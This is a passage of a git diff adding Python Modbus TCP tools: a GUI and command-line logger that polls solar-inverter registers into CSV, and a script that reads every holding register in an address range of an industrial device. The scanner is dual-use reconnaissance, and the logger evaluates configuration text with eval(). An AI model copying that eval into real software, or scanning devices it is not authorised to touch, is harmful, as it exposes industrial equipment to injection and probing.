data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 